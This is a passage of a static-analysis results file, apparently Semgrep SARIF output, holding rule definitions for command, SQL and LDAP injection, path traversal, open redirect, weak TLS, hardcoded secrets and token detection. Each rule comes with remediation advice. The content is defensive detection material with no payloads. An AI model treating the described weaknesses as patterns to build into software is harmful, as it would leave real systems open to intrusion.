controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a ProcessBuilder call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","id":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","name":"java.lang.security.audit.command-injection-process-builder.command-injection-process-builder","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-process-builder.command-injection-process-builder"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint-med-conf.grpc-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2)\n","text":"IPv6Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://owasp.org/www-community/attacks/LDAP_Injection](https://owasp.org/www-community/attacks/LDAP_Injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/90.html](https://cwe.mitre.org/data/definitions/90.html)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly santized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","id":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","name":"go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.command-injection.gorilla-command-injection-taint.gorilla-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","id":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","name":"java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerously accepting invalid TLS information"},"help":{"markdown":"Dangerously accepting invalid TLS information\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_hostnames)\n - [https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs](https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.danger_accept_invalid_certs)\n","text":"Dangerously accepting invalid TLS information"},"helpUri":"https://semgrep.dev/r/rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","id":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","name":"rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.reqwest-accept-invalid.reqwest-accept-invalid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"help":{"markdown":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Flags cases of possible path traversal. If an unfiltered parameter is passed into 'fromFile', file from an arbitrary filesystem location could be read. This could lead to sensitive data exposure and other provles. Instead, sanitize the user input instead of performing direct string concatenation."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","id":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","name":"scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.path-traversal-fromfile.path-traversal-fromfile"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect.open-redirect","id":"javascript.browser.open-redirect.open-redirect","name":"javascript.browser.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions)\n - [https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle](https://stackoverflow.com/questions/26429751/java-http-clients-and-poodle)\n","text":"Detects creations of tls configuration objects with an insecure MinVersion of TLS. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","id":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","name":"problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.disallow-old-tls-versions.disallow-old-tls-versions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use)\n - [https://www.php.net/manual/en/function.unlink](https://www.php.net/manual/en/function.unlink)\n - [https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html](https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html)\n","text":"Using user input when deleting files with `unlink()` is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/php.lang.security.unlink-use.unlink-use","id":"php.lang.security.unlink-use.unlink-use","name":"php.lang.security.unlink-use.unlink-use","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unlink-use.unlink-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","id":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","name":"java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.jwt-hardcode.java-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"help":{"markdown":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"The application stores potentially sensitive information in log files. This could lead to a vulnerability, if an attacker can gain access to logs and then use the sensitive information to perform further attacks. When dealing with HTTP requests, sensitive data could be, for instance, JWT tokens or other session identifiers. To prevent this vulnerability review the type of information being logged. Sensitive information can be identified and filtered or obfuscated before calling logging functions."},"helpUri":"https://semgrep.dev/r/java.spring.log-http-headers.log-request-headers","id":"java.spring.log-http-headers.log-request-headers","name":"java.spring.log-http-headers.log-request-headers","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.log-http-headers.log-request-headers"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"help":{"markdown":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb)\n","text":"pdb.set_trace() with the header argument is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use set_trace() without the header argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-pdb","id":"python.lang.compatibility.python37.python37-compatibility-pdb","name":"python.lang.compatibility.python37.python37-compatibility-pdb","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-pdb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","id":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","name":"python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-hardcoded-secret.python-ldap3-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications](https://stackoverflow.com/questions/26504653/is-it-possible-to-disable-sslv3-for-all-java-applications)\n","text":"Detects setting client protocols to insecure versions of TLS and SSL. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Facebook Access Token detected"},"help":{"markdown":"Facebook Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Facebook Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","id":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","name":"generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-access-token.detected-facebook-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","id":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","name":"python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-empty-password.python-pymysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html](https://db.apache.org/jdo/api30/apidocs/javax/jdo/PersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.javax.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `compileScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - 